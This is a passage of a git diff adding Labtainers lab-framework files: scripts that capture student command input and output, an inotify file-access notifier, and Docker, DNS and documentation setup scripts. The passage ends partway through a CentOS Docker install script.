b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/lib/systemd/system/mynotify.service new file mode 100644 index 000000000..92de16b7f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/lib/systemd/system/mynotify.service @@ -0,0 +1,11 @@ +[Unit] +Description=Notification service for labtainers file access +After=waitparam.service + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target +Alias=mynotify.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/sbin/capinout.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/sbin/capinout.sh new file mode 100755 index 000000000..18bd22db7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/sbin/capinout.sh @@ -0,0 +1,266 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# capinout.sh +# Description: * Re-direct stdin and stdout to files + +# Usage: capinout.sh +# Arguments: +# - program to execute + +# trapfun - add program finish time +trapfun() +{ + #echo "PROGNAME is $PROGNAME" + PGROUP=$(ps ax -o "%r %c" | grep $PROGNAME | awk '{print $1}') + if [[ ! -z $PGROUP ]]; then + #echo "PGROUP IS $PGROUP" + HAS_ROOT=$(pgrep -u root -g $PGROUP) + if [[ -z $HAS_ROOT ]]; then + kill -TERM -$PGROUP + else + sudo kill -TERM -$PGROUP + fi + + endtime=`date +"%Y%m%d%H%M%S"` + echo "PROGRAM FINISH: $endtime" >> $stdinfile + echo "PROGRAM FINISH: $endtime" >> $stdoutfile + fi +} +tailingquote() +{ + local string=$1 + #if [[ "$string" == "*\'" ] || [ "$string" == "*\"" ]]; then + if [[ "$string" == *\' ]]; then + return 1 + fi + if [[ "$string" == *\" ]]; then + return 1 + fi + return 0 +} + +pipe_sym="|" +redirect_sym=">" +append_sym=">>" +full=$1 +counter=$2 +timestamp=$3 +cmd_path=$4 +#echo "full is $full" +# +# Look for redirect, and remove from command +# +if [[ "$full" == *"$append_sym"* ]]; then + IFS='>' read -ra COMMAND_ARRAY <<< "$full" + tailingquote ${COMMAND_ARRAY[2]} + result=$? + if [ $result == 0 ]; then + full=${COMMAND_ARRAY[0]} + append_file=${COMMAND_ARRAY[2]} + #echo "append file $append_file" + IFS=' ' + fi +elif [[ "$full" == *"$redirect_sym"* ]]; then + IFS='>' read -ra COMMAND_ARRAY <<< "$full" + tailingquote ${COMMAND_ARRAY[2]} + result=$? + if [ $result == 0 ]; then + full=${COMMAND_ARRAY[0]} + redirect_file=${COMMAND_ARRAY[1]} + IFS=' ' + fi +fi + +if [[ "$full" == *"$pipe_sym"* ]]; then + #echo is pipe has $pipe_sym + IFS='|' read -ra COMMAND_ARRAY <<< "$full" + if [ $counter == 2 ]; then + # target on right of pipe + prepostcommand=${COMMAND_ARRAY[0]} + targetcommand=${COMMAND_ARRAY[1]} + else + prepostcommand=${COMMAND_ARRAY[1]} + targetcommand=${COMMAND_ARRAY[0]} + fi + IFS=' ' + #echo "prepostcommand is $prepostcommand" + #echo "target command is $targetcommand" + TARGET_ARGS=($targetcommand) + EXECPROG=${TARGET_ARGS[0]} + if [ ${TARGET_ARGS[0]} == "sudo" ]; then + PROGNAME=`basename ${TARGET_ARGS[1]}` + PROGPATH=${TARGET_ARGS[1]} + else + PROGNAME=`basename ${TARGET_ARGS[0]}` + PROGPATH=${TARGET_ARGS[0]} + fi + len=${#TARGET_ARGS[@]} + if [ $len -gt 1 ]; then + PROGRAM_ARGUMENTS=${TARGET_ARGS[@]:1:$len} + else + PROGRAM_ARGUMENTS="" + fi +else + targetcommand=${full} + TARGET_ARGS=($targetcommand) + EXECPROG=${TARGET_ARGS[0]} + if [ ${TARGET_ARGS[0]} == "sudo" ]; then + PROGNAME=`basename ${TARGET_ARGS[1]}` + PROGPATH=${TARGET_ARGS[1]} + else + PROGNAME=`basename ${TARGET_ARGS[0]}` + PROGPATH=${TARGET_ARGS[0]} + fi + len=${#TARGET_ARGS[@]} + if [ $len -gt 1 ]; then + PROGRAM_ARGUMENTS=${TARGET_ARGS[@]:1:$len} + else + PROGRAM_ARGUMENTS="" + fi +fi + +#echo "EXECPROG is ($EXECPROG)" +#echo "PROGNAME is ($PROGNAME)" +#echo "PROGRAM_ARGUMENTS is ($PROGRAM_ARGUMENTS)" +#echo "Program to execute is $EXECPROG" +#echo "PROGNAME is $PROGNAME" +if [[ $PROGNAME == systemctl ]]; then + # special handling for service program stdin and stdout file names + ARG_ARRAY=($PROGRAM_ARGUMENTS) + if [[ $EXECPROG == sudo ]]; then + stdinfile="$PRECMD_HOME/.local/result/${ARG_ARRAY[2]}.service.stdin.$timestamp" + stdoutfile="$PRECMD_HOME/.local/result/${ARG_ARRAY[2]}.service.stdout.$timestamp" + else + stdinfile="$PRECMD_HOME/.local/result/${ARG_ARRAY[1]}.service.stdin.$timestamp" + stdoutfile="$PRECMD_HOME/.local/result/${ARG_ARRAY[1]}.service.stdout.$timestamp" + fi +elif [[ $PROGNAME == service ]]; then + # special handling for service program stdin and stdout file names + ARG_ARRAY=($PROGRAM_ARGUMENTS) + if [[ $EXECPROG == sudo ]]; then + stdinfile="$PRECMD_HOME/.local/result/${ARG_ARRAY[1]}.service.stdin.$timestamp" + stdoutfile="$PRECMD_HOME/.local/result/${ARG_ARRAY[1]}.service.stdout.$timestamp" + else + stdinfile="$PRECMD_HOME/.local/result/${ARG_ARRAY[0]}.service.stdin.$timestamp" + stdoutfile="$PRECMD_HOME/.local/result/${ARG_ARRAY[0]}.service.stdout.$timestamp" + fi +elif [[ $PROGPATH == /etc/init.d/* ]]; then + # special handling for service program stdin and stdout file names + ARG_ARRAY=($PROGRAM_ARGUMENTS) + stdinfile="$PRECMD_HOME/.local/result/$PROGNAME.service.stdin.$timestamp" + stdoutfile="$PRECMD_HOME/.local/result/$PROGNAME.service.stdout.$timestamp" +else + stdinfile="$PRECMD_HOME/.local/result/$PROGNAME.stdin.$timestamp" + stdoutfile="$PRECMD_HOME/.local/result/$PROGNAME.stdout.$timestamp" +fi +#echo stdout $stdoutfile + +# Store programs arguments into stdinfile +echo "PROGRAM_ARGUMENTS is ($PROGRAM_ARGUMENTS)" >> $stdinfile + +#echo "stdinfile is $stdinfile" +#echo "stdoutfile is $stdoutfile" + +# If file $PRECMD_HOME/.local/bin/precheck.sh exist, run it +if [ -f $PRECMD_HOME/.local/bin/precheck.sh ] +then + precheckoutfile="$PRECMD_HOME/.local/result/precheck.stdout.$timestamp" + precheckinfile="$PRECMD_HOME/.local/result/precheck.stdin.$timestamp" + $PRECMD_HOME/.local/bin/precheck.sh $cmd_path > $precheckoutfile 2>/dev/null + if [[ ! -s $precheckoutfile ]]; then + rm -f $precheckoutfile + fi + # For now, there is nothing (i.e., no stdin) for precheck + #echo "" >> $precheckinfile +fi + +# kill the tee when the pipe consumer dies +# +#set -o pipefail + +# Setup trap to handle SIGINT and SIGTERM +trap "echo exiting due to signal; echo caught SIGINT >> $stdinfile; trapfun " SIGINT +trap "echo exiting due to signal; echo caught SIGTERM >> $stdinfile; trapfun " SIGTERM + +pipe=$(mktemp -u) +if ! mkfifo $pipe; then + echo "ERROR: pipe create failed" >%2 + exit 1 +fi + +exec 3<>$pipe +rm $pipe +if [ -z "$prepostcommand" ]; then +# +# no pipe +# + if [ -n "$redirect_file" ]; then + (echo $BASHPID >&3; tee -a $stdinfile) | (eval funbuffer -p $EXECPROG $PROGRAM_ARGUMENTS; r=$?; kill $(head -n1 <&3); exit $r) | tee $stdoutfile > $redirect_file + elif [ -n "$append_file" ]; then + (echo $BASHPID >&3; tee -a $stdinfile) | (eval funbuffer -p $EXECPROG $PROGRAM_ARGUMENTS; r=$?; kill $(head -n1 <&3); exit $r) | tee $stdoutfile >> $append_file + else + (echo $BASHPID >&3; tee -a $stdinfile) | (eval funbuffer -p $EXECPROG $PROGRAM_ARGUMENTS; r=$?; kill $(head -n1 <&3); exit $r) | tee $stdoutfile + fi +else +# +# no pipe +# + if [ $counter == 2 ];then +# +# target on right side of pipe +# + if [ -n "$redirect_file" ]; then + + (echo $BASHPID >&3; eval $prepostcommand | tee -a $stdinfile) | (eval $EXECPROG $PROGRAM_ARGUMENTS; r=$?; exit $r) | tee $stdoutfile > $redirect_file + + elif [ -n "$append_file" ]; then + + (echo $BASHPID >&3; eval $prepostcommand | tee -a $stdinfile) | (eval $EXECPROG $PROGRAM_ARGUMENTS; r=$?; exit $r) | tee $stdoutfile >> $append_file + + else + #echo "prepostcommand before is $prepostcommand" + + (echo $BASHPID >&3; eval $prepostcommand | tee -a $stdinfile) | (eval $EXECPROG $PROGRAM_ARGUMENTS; r=$?; exit $r) | tee $stdoutfile + fi + else +# +# target on left side of pipe +# + if [ -n "$redirect_file" ]; then + + (echo $BASHPID >&3; (eval $EXECPROG $PROGRAM_ARGUMENTS; r=$?; exit $r | tee -a $stdinfile)) | tee $stdoutfile | (eval $prepostcommand) > $redirect_file + + elif [ -n "$append_file" ]; then + + (echo $BASHPID >&3; (eval $EXECPROG $PROGRAM_ARGUMENTS; r=$?; exit $r | tee -a $stdinfile)) | tee $stdoutfile | (eval $prepostcommand) >> $append_file + + else + #echo "prepostcommand before is $prepostcommand" + (echo $BASHPID >&3; (eval $EXECPROG $PROGRAM_ARGUMENTS; r=$?; exit $r | tee -a $stdinfile)) | tee $stdoutfile | (eval $prepostcommand) + fi + fi +fi + + +TEE_PID=$(ps | grep [t]ee | awk '{print $1}') +if [ ! -z "$TEE_PID" ]; then + endtime=`date +"%Y%m%d%H%M%S"` + echo "PROGRAM FINISH: $endtime" >> $stdinfile + echo "PROGRAM FINISH: $endtime" >> $stdoutfile + kill $TEE_PID +fi + + +#exit ${PIPESTATUS[1]} + +###### Call +#####tee -a $stdinfile | stdbuf -oL -eL $EXECPROG $PROGRAM_ARGUMENTS | tee $stdoutfile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/sbin/dhclient-labtainer b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/sbin/dhclient-labtainer new file mode 100755 index 000000000..b5d643153 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/sbin/dhclient-labtainer @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Hack dhcp client for use in Docker containers. +# Assumes ics-dhcp-client is installed +# +#echo `date` > /tmp/mydhcp.log +sudo ifconfig $1 0.0.0.0 +myip=$(dhclient -v $1 2>&1 >/dev/null | grep "bound to" | awk '{print $3}') +ifconfig $1 $myip +#echo `date` >> /tmp/mydhcp.log +#echo "back from ifconfig in mydhcp ip is $myip" >> /tmp/mydhcp.log diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/sbin/exec_wrap.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/sbin/exec_wrap.sh new file mode 100755 index 000000000..0583d7cf0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/sbin/exec_wrap.sh @@ -0,0 +1,12 @@ +#!/bin/bash +cmd=$1 +trap "echo got signal" SEGV +trap "echo got signal" ILL +if [[ ! -z "$2" ]];then + shift + #echo eval $cmd $@ + eval $cmd $@ +else + #echo eval $cmd + eval $cmd +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/sbin/mynotify.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/sbin/mynotify.py new file mode 100755 index 000000000..58d72d46f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/sbin/mynotify.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' +import os +import time +import logging +import subprocess +from inotify_simple import INotify, flags + +''' +This runs as a service on the containers. It uses inotify +to catch events defined in the .local/bin/notify file, +and will invoke notify_cb.sh for when those events occur. +We pass the file, the mode, the the first user in the system to +notify_cb.sh The timestamped output is appended to any +existing notify.stdout.... within 1 second of now. +Alternately, the notify file can include an optional output +filename. + +It dies without a wimper. Debug by manually running and generating +inotify events. +''' +logger = logging.getLogger('mynotify') +hdlr = logging.FileHandler('/tmp/mynotify.log') +formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s') +hdlr.setFormatter(formatter) +logger.addHandler(hdlr) +logger.setLevel(logging.DEBUG) + + +class WatchType(): + def __init__(self, path, flag, outfile=None): + self.path = path + self.flag = flag + self.outfile = outfile + +def showMask(mask): + if mask & flags.CREATE: + print('CREATE') + if mask & flags.ACCESS: + print('ACCESS') + if mask & flags.OPEN: + print('OPEN') + + +def get_flag(flag): + if flag == 'CREATE': + return flags.CREATE + elif flag == 'ACCESS': + return flags.ACCESS + elif flag == 'OPEN': + return flags.OPEN + else: + return None + +def get_first_user(): + with open('/etc/passwd') as fh: + for line in fh: + parts = line.strip().split(':') + if parts[2] == '1000': + return parts[0] + return None + +logger.debug('Start mynotify') +watches = {} + +inotify = INotify() +first_user = get_first_user() +logger.debug('first user is %s' % first_user) +notify_file = '/home/%s/.local/bin/notify' % first_user +notify_cb = '/home/%s/.local/bin/notify_cb.sh' % first_user +results = '/home/%s/.local/result' % first_user + +if not os.path.isfile(notify_file) and not os.path.isfile(notify_cb): + logger.error('missing notify %s' % (notify_file)) + exit(0) + +if not os.path.isfile(notify_cb): + logger.debug("no notify_cb.sh, just ouput path & cmd") + notify_cb = None + +''' read in the notify file, set watches on file access as directed ''' +with open(notify_file) as fh: + for line in fh: + if not line.strip().startswith('#'): + parts = line.strip().split() + outfile = None + if len(parts) > 2: + outfile = parts[2] + watch = WatchType(parts[0], parts[1], outfile) + flag = get_flag(watch.flag) + try: + wd = inotify.add_watch(watch.path, flag) + watches[wd] = watch + except: + logger.debug('could not add watch for %s %s' % (watch.path, watch.flag)) +# +# forever loop responding to inotify events +# +while True: + for event in inotify.read(): + print(event) + showMask(event.mask) + watch = watches[event.wd] + logger.debug('path: %s flag: %s' % (watch.path, watch.flag)) + now = time.time() + ts = time.strftime('%Y%m%d%H%M%S', time.localtime(now)) + ''' use given outputfile name, if provided in the notify directive ''' + if watch.outfile is None: + notifyoutfile = os.path.join(results, 'notify.stdout') + else: + notifyoutfile = os.path.join(results, '%s.stdout' % (watch.outfile)) + notifyoutfile_ts = '%s.%s' % (notifyoutfile, ts) + #notifyoutfile = os.path.join(results, 'notify.stdin.%s' % ts) + hist_file = '/home/%s/.bash_history' % first_user + root_hist_file = '/root/.bash_history' + if not (os.path.isfile(hist_file) or os.path.isfile(root_hist_file)): + ''' no user yet, must be system startup, ignore ''' + continue + cmd_time_history = os.path.getmtime(hist_file) + root_hist_file = '/root/.bash_history' + cmd_user = first_user + if os.path.isfile(root_hist_file): + time_root_history = os.path.getmtime(root_hist_file) + if cmd_time_history > time_root_history: + cmd_time_history = time_root_history + hist_file = root_hist_file + cmd_user = 'root' + cmd = None + with open(hist_file) as fh: + hist = fh.readlines() + cmd = hist[-1].strip() + if cmd.startswith('sudo'): + cmd = cmd[5:] + cmd_user = 'root' + + ''' determine if we should append to an existig output file ''' + is_a_file = False + if not os.path.isfile(notifyoutfile_ts): + ''' no file, if from previous second, use that as hack to merge with output from command ''' + now = now -1 + ts = time.strftime('%Y%m%d%H%M%S', time.localtime(now)) + tmpfile = '%s.%s' % (notifyoutfile, ts) + if os.path.isfile(tmpfile): + notifyoutfile_ts = tmpfile + is_a_file = True + else: + is_a_file = True + + if is_a_file: + ''' existing file, append to it ''' + if notify_cb is not None: + sys_cmd = '%s %s %s %s %s >> %s 2>/dev/null' % (notify_cb, watch.path, + watch.flag, cmd_user, cmd, notifyoutfile_ts) + os.system(sys_cmd) + logger.debug('sys_cmd is %s' % sys_cmd) + else: + with open(notifyoutfile_ts, 'a') as fh: + fh.write('path: %s cmd: %s user: %s' % (watch.path, cmd, cmd_user)) + else: + if notify_cb is not None: + ''' only write to file if notify_cb generates output ''' + sys_cmd = '%s %s %s %s "%s"' % (notify_cb, watch.path, watch.flag, cmd_user, cmd) + logger.debug('sys_cmd is %s' % sys_cmd) + child = subprocess.Popen(sys_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = child.communicate() + if len(output[0]) > 0: + with open(notifyoutfile_ts, 'w') as fh: + fh.write(output[0]) + else: + with open(notifyoutfile_ts, 'a') as fh: + fh.write('path: %s cmd: %s user: %s' % (watch.path, cmd, cmd_user)) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/labtainer-student.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/labtainer-student.pdf new file mode 120000 index 000000000..8e95a1c6c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/labtainer-student.pdf @@ -0,0 +1 @@ +../../docs/student/labtainer-student.pdf \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/after-checkout.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/after-checkout.sh new file mode 100755 index 000000000..7b878859c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/after-checkout.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Intended to be run after a repo is checked out, e.g., via svn. +# These functions are otherwise done when creating a distribution. +# +# +./build-docs.sh +cd ../tool-src/capinout +./mkit.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/build-docs.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/build-docs.sh new file mode 100755 index 000000000..fdadc67cd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/build-docs.sh @@ -0,0 +1,35 @@ +#!/bin/bash +# +# Build the pdf documents for all labs. +# Intended to be run by developers who use SVN to populate their labs/ directory. +# (PDF documents are not kept in svn, and are typically created when a distribution +# is made) +cd ../labs +llist=$(ls) +for lab in $llist; do + cd $lab + if [[ -d docs ]]; then + cd docs + if [[ -f Makefile ]]; then + make + else + doc=$lab.docx + pdf=$lab.pdf + if [[ -f $doc ]]; then + if [[ ! -f $pdf ]] || [[ "$pdf" -ot "$doc" ]]; then + soffice --convert-to pdf $doc --headless + else + echo $pdf is up to date. + fi + fi + fi + cd ../ + fi + cd ../ +done +cd ../docs/labdesigner +make +cd ../student +make +cd ../instructor +make diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/cleanupDocker.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/cleanupDocker.sh new file mode 100755 index 000000000..28d42fd0e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/cleanupDocker.sh @@ -0,0 +1,18 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END + +# remove exited containers: +docker ps --filter status=dead -aq | xargs -r docker rm -v + +# remove unused images: +docker images --no-trunc | grep '' | awk '{ print $3 }' | xargs -r docker rmi +# unused volumes +docker volume ls -qf dangling=true | xargs -r docker volume rm diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/dependent.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/dependent.sh new file mode 100755 index 000000000..bc1ed52aa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/dependent.sh @@ -0,0 +1,6 @@ +# +# delete all images that are dependent on a given image +# +list=$(docker inspect --format='{{.Id}} {{.Parent}}' $(docker images --filter since=$1 -q) | awk '{print substr($1,8,12)}') +echo $list +docker rmi -f $list diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/destroy-docker.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/destroy-docker.sh new file mode 100755 index 000000000..2e880e86e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/destroy-docker.sh @@ -0,0 +1,15 @@ +#!/bin/bash +if [[ "$1" != -f ]]; then + echo "This will delete all docker images!" + read -p "Continue? (y/n)" + if [[ ! $REPLY =~ ^[Yy]$ ]] + then + echo exiting + exit + fi +fi +sudo systemctl stop docker +sudo rm -fr /var/lib/docker +sudo systemctl start docker +echo "All Docker images were removed." + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/dns-add.py b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/dns-add.py new file mode 100755 index 000000000..ccdd9a0c5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/dns-add.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python +import json +import os +import subprocess +''' +Update the docker/daemon.json file to reflect the local dns and the google dns. +Avoid trouble with sites that block use of external dns servers. +''' +jfile = '/etc/docker/daemon.json' +dns = [] + +cmd="nmcli dev show | grep 'IP4.DNS'" +ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) +output = ps.communicate() +if len(output[0]) > 0: + for line in output[0].splitlines(True): + dns_add = line.split()[1].strip() + dns.append(dns_add) + break +dns.append("8.8.8.8") + +if os.path.isfile(jfile): + data = json.load(open(jfile)) +else: + print('no file at %s' % jfile) + if not os.path.isdir('/etc/docker'): + os.path.mkdir('/etc/docker') + data = {} + +if 'dns' in data: + print('yes') +else: + print('no') + data['dns'] = dns + +with open(jfile, 'w') as outfile: + json.dump(data, outfile, indent = 4) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/fix-bashrc.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/fix-bashrc.sh new file mode 100755 index 000000000..3db9712ba --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/fix-bashrc.sh @@ -0,0 +1,22 @@ +#!/bin/bash +target=~/.bashrc +grep ":./bin:" $target >>/dev/null +result=$? +if [[ result -ne 0 ]];then + cat <>$target + if [[ ":\$PATH:" != *":./bin:"* ]]; then + export PATH="\${PATH}:./bin" + fi +EOT +fi +grep ":scripts/designer/bin:" $target | grep PATH >>/dev/null +result=$? +if [[ result -ne 0 ]];then + here=`realpath ../` + cat <>$target + if [[ ":\$PATH:" != *":scripts/designer/bin:"* ]]; then + export PATH="\${PATH}:$here/scripts/designer/bin" + export LABTAINER_DIR=$here + fi +EOT +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/fixresolv.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/fixresolv.sh new file mode 100755 index 000000000..fe99f36ff --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/fixresolv.sh @@ -0,0 +1,33 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +: <<'END' +Add the hosts DNS servers to the /etc/resolv.conf by appending them +to the resolv.conf.d/head file. Some dockers, ubuntu?, cannot resolve +addresses from within containers. +END +rel=`lsb_release -a | grep Release | awk '{print $2}'` +if [[ $rel == 14.* ]]; then + dns_list=$(nmcli dev list | grep DNS | awk '{print $2 $4}') +else + dns_list=$(nmcli dev show | grep DNS | awk '{print $2 $4}') +fi +for dns in $dns_list +do + already=$(grep $dns /etc/resolvconf/resolv.conf.d/head) + if [ -z "$already" ]; then + echo "nameserver $dns" | sudo tee -a /etc/resolvconf/resolv.conf.d/head + fi +done +sudo resolvconf -u + +# Verify /etc/resolv.conf +echo "resolveconf now contains:" +cat /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/full-smoke-test.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/full-smoke-test.sh new file mode 100755 index 000000000..bb1010e5c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/full-smoke-test.sh @@ -0,0 +1,24 @@ +#!/bin/bash +# Assume running from setup_scripts/ +# +# Runs as bash -c argument to gnome-terminal. unable to get it to inherit bashrc defined env. +# +export TEST_REGISTRY=TRUE +export PATH="${PATH}:./bin:$HOME/labtainer/trunk/scripts/designer/bin:$HOME/labtainer/trunk/testsets/bin" + +now=`date +"%s"` +exec > /media/sf_SEED/smokelogs/log-$now.log +exec 2>&1 + +#Clear out docker. +./destroy-docker.sh -f + +# Update baseline and framework +./update-labtainer.sh -t + +# Update test sets +./update-testsets.sh +cd ../scripts/labtainer-student +echo "start smoke test" +smoketest.py +sudo poweroff diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/getinfo.py b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/getinfo.py new file mode 100755 index 000000000..46eaf31a0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/getinfo.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python + +# Filename: getinfo.py +# Description: simple script to get Linux host resources + +import os +import subprocess +import sys + +def getMemoryInGB(): + # Get the MemTotal portion from /proc/meminfo + command="cat /proc/meminfo | grep MemTotal" + #print "command is (%s)" % command + result=subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + MemTotalString=result.stdout.read().strip().split() + lenMemTotalString=len(MemTotalString) + #print "MemTotal is (%s)" % MemTotalString + #print "length MemTotal is (%d)" % lenMemTotalString + + MemSize=None + MemSizeType=None + # Note: format of MemTotal is "MemTotal: kB" + if lenMemTotalString != 3: + print "Invalid memory total string" + exit(1) + else: + MemSize=MemTotalString[1] + MemSizeType=MemTotalString[2] + #print "MemSize is (%s) in (%s)" % (MemSize, MemSizeType) + + MemSizeGB = None + if MemSize != None and MemSizeType != None and MemSizeType == "kB": + try: + MemSizeMB = float(MemSize) / 1024 + except: + print "Invalid memory size string" + exit(1) + MemSizeGB = MemSizeMB / 1024 + MemSizeGB = float("%.2f" % MemSizeGB) + #print "MemSize is (%s) in MB" % MemSizeMB + #print "MemSize is (%s) in GB" % MemSizeGB + + #if MemSizeGB < 1.5: + # print "less than 1.5" + #elif MemSizeGB > 1.5 and MemSizeGB < 2.0: + # print "greater than 1.5 but less than 2.0" + #else: + # print "greater than 2.0" + return MemSizeGB + + +def getNumProcessor(): + # Count the number of processor(s) in /proc/cpuinfo + command="cat /proc/cpuinfo | grep processor | wc -l" + #print "command is (%s)" % command + result=subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + NumProcessorString=result.stdout.read().strip() + #print "NumProcessor is (%s)" % NumProcessor + try: + NumProcessor = int(NumProcessorString) + except: + print "Invalid number of processor string" + exit(1) + return NumProcessor + +def main(): + numprocessor = getNumProcessor() + memoryinGB = getMemoryInGB() + print "Linux host resources:" + print "Processors: %d" % numprocessor + print "RAM: %.2f GB" % memoryinGB + print "" + if numprocessor == 1: + print "Labtainers will perform better with two processors allocated to the Linux host." + if memoryinGB < 1.8: + print "Labtainers may perform better with at least 2 GB of RAM allocated to the Linux host." + if numprocessor == 1 or memoryinGB < 1.8: + user_input=None + user_input=raw_input("Would like to shutdown the host so you can allocate more resources? (yes/no)\n") + user_input=user_input.strip().lower() + #print "user_input (%s)" % user_input + if user_input == "yes": + command="sudo shutdown -h now" + #print "command is (%s)" % command + os.system(command) + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-docker-centos.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-docker-centos.sh new file mode 100755 index 000000000..b8636b4e7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-docker-centos.sh @@ -0,0 +1,83 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Install Docker on a CentOS system, along with other packages required by Labtainers +# + +#needed packages for install +sudo yum makecache fast +sudo yum install -y yum-utils device-mapper-persistent-data lvm2 + +#sets up stable repository +sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo + +#installs Docker: Community Edition +sudo yum makecache fast +sudo yum install -y docker-ce + +#additional packages needed +sudo yum --enablerepo=extras -y install epel-release +sudo yum install -y python-pip +sudo pip install --upgrade pip +sudo pip install netaddr parse python-dateutil +sudo yum install -y openssh-server + +#starts and enables docker +sudo systemctl start docker +sudo systemctl enable docker + +#gives user docker commands +sudo groupadd docker +sudo usermod -aG docker $USER + +#---Checking if packages have been installed. If not, the system will not reboot and allow the user to investigate. +declare -a packagelist=("yum-utils" "device-mapper-persistent-data" "lvm2" "epel-release" "docker-ce" "python2-pip" "openssh-server") 